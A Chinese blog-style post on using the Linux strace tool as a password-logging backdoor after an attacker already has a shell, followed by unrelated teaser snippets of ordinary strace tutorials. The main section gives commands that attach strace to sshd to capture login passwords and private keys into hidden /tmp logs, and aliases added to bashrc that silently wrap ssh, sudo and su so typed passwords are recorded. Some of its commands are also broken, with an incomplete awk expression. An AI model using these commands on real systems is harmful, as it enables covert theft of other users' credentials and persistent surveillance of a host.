strace是乙個動態跟蹤工具,它可以跟蹤系統呼叫的執行。我們可以把他當成乙個鍵盤記錄的後門,來擴大我們的資訊收集範圍
通過其他方式拿到shell,通過history、流量抓包、或者本地沒有翻到密碼的情況。我們想要獲取當前主機的密碼,或者通過這台主機連線到其他主機的密碼。執行如下命令
(strace -f -f -p `ps aux|grep "sshd -d"|grep -v grep|awk ` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)、
當使用者通過密碼登入時,使用如下命令檢視記錄的密碼
(strace -f -f -p `ps aux|grep "sshd -d"|grep -v grep|awk ` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
當使用者通過私鑰登入時,使用如下命令檢視記錄的私鑰
grep 'private key' /tmp/.sshd.log
我們還可以記錄本機執行ssh、su等命令,這裡以ssh為例
修改alias
# 新增命令
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 立即生效
執行ssh 10.xx.xx.148 -l mysql
會在 /tmp/ 目錄下多個log
讀取log中記錄的密碼
grep -a 9 『password』 .ssh-202月021613809979.log
記錄sudo、su的alias
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
strace 除錯linux 程式
strace常用引數 c 統計每種系統呼叫執行的時間 呼叫次數 出錯次數,程式退出時給出報告 p pid 跟蹤指定的程序,可以使用多個 p同時跟蹤多個程序 o filename strace預設輸出到stdout,o可以將輸出寫入到指定的檔案 f 跟蹤由fork產生的子程序的系統呼叫 ff 常與 o...
我使用過的linux命令之strace
strace常用來跟蹤程序執行時的系統呼叫和所接收的訊號。在linux世界,程序不能直接訪問硬體裝置,當程序需要訪問硬體裝置 比如讀取磁碟檔案,接收網路資料等等 時,必須由使用者態模式切換至核心態模式,通過系統呼叫訪問硬體裝置。strace可以跟蹤到乙個程序產生的系統呼叫,包括引數,返回值,執行消耗...
linux之strace命令跟蹤程序的系統呼叫
作業系統的程序空間分為使用者空間和核心空間,作業系統核心直接執行在硬體上,提供裝置管理 記憶體管理 任務排程等功能,我們使用者空間不能直接呼叫,所以就有了系統呼叫 執行在使用者空間的程式向作業系統核心請求需要更高許可權執行的服務 系統呼叫提供使用者程式與作業系統之間的介面。使用者空間通過api請求核...